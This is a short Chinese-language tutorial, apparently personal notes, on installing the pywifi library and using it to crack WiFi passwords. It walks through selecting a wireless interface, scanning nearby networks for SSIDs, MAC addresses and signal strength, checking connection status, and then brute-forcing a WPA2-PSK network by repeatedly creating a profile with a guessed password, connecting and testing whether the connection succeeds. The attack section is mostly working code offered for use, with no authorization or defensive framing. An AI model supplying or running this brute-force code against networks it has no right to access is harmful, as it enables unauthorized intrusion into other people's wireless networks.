pywifi安装
- 拿到pywifi文件夹
- 如果有pip环境变量就直接cd进入pywifi目录
- 输入pip install .
- 如果没有环境变量就cd进pip的目录
- 然后pip install pywifi目录
破解WiFi的步骤
1. 抓取无线网卡
pywifi.set_loglevel(logging.INFO) # 输出日志
wifi = pywifi.PyWiFi() # 抓取WiFi接口
ifaceList = wifi.interfaces() # 抓取无线网卡列表
iface = ifaceList[0] # 如果有无线网卡第一个一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() # 抓取WiFi接口
iface = wifi.interfaces()[0] # 抓取无线网卡列表
iface.scan() # 扫描
time.sleep(5)
bsses = iface.scan_results() # 扫描到的结果
for pjwifi in bsses:
print(pjwifi.ssid) # 所有WiFi名
print(pjwifi.bssid) # mac地址
print(pjwifi.signal) # 信号强度(值越大信号越强)
3. 测试网卡状态
iface = wifi.interfaces()[0]
iface.status()-->
const.IFACE_DISCONNECTED:0没有连接
const.IFACE_INACTIVE:2没有激活
const.IFACE_CONNECTED:1连接好了
4. 针对某一WiFi进行密码爆破
'''爆破密码'''
profile = pywifi.Profile() # 创建wifi链接文件
profile.ssid = wifiName # wifi名称,不加会报错
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
connectStatus = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect() # 断开连接
time.sleep(1)